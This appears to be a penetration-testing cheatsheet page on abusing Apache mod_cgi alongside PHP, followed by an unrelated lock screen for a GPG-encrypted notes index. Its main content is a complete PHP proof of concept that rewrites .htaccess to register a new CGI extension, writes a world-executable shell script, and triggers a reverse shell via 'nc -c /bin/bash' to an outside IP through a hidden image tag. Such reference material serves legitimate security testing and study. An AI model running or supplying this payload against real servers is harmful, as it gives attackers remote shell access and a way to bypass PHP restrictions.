// HackTricks · Network Services

modcgi

mod_cgi

When Apache enables mod_cgi alongside PHP, an attacker who can write both .htaccess and a file in a web-accessible directory may register a new CGI extension and execute that file outside the PHP interpreter. The following proof of concept checks those prerequisites, writes the handler configuration, and invokes a shell script.[1]

<?php
// Requires mod_cgi, a writable directory, and .htaccess overrides.
$cmd = "nc -c '/bin/bash' 172.16.15.1 4444"; // Command to execute.
$shellfile = "#!/bin/bash\n";
$shellfile .= "echo -ne \"Content-Type: text/html\\n\\n\"\n"; // CGI response header.
$shellfile .= "$cmd";
function checkEnabled($text, $condition, $yes, $no)
{
	echo "$text: " . ($condition ? $yes : $no) . "<br>\n";
}
if (!isset($_GET['checked']))
{
	@file_put_contents('.htaccess', "\nSetEnv HTACCESS on", FILE_APPEND); // Test whether .htaccess is honored.
	header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); // Run the check again.
}
else
{
	$modcgi = in_array('mod_cgi', apache_get_modules());
	$writable = is_writable('.');
	$htaccess = !empty($_SERVER['HTACCESS']);
		checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No");
		checkEnabled("Is writable",$writable,"Yes","No");
		checkEnabled("htaccess working",$htaccess,"Yes","No");
	if(!($modcgi && $writable && $htaccess))
	{
		echo "Error. All of the above must be true for the script to work!";
	}
	else
	{
		checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Succeeded! Saved in .htaccess.bak","Failed!");
		checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGI\nAddHandler cgi-script .dizzle"),"Succeeded!","Failed!");
		checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!");
		checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!");
		echo "Executing the script now. Check your listener <img src = 'shell.dizzle' style = 'display:none;'>";
	}
}
?>

References

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.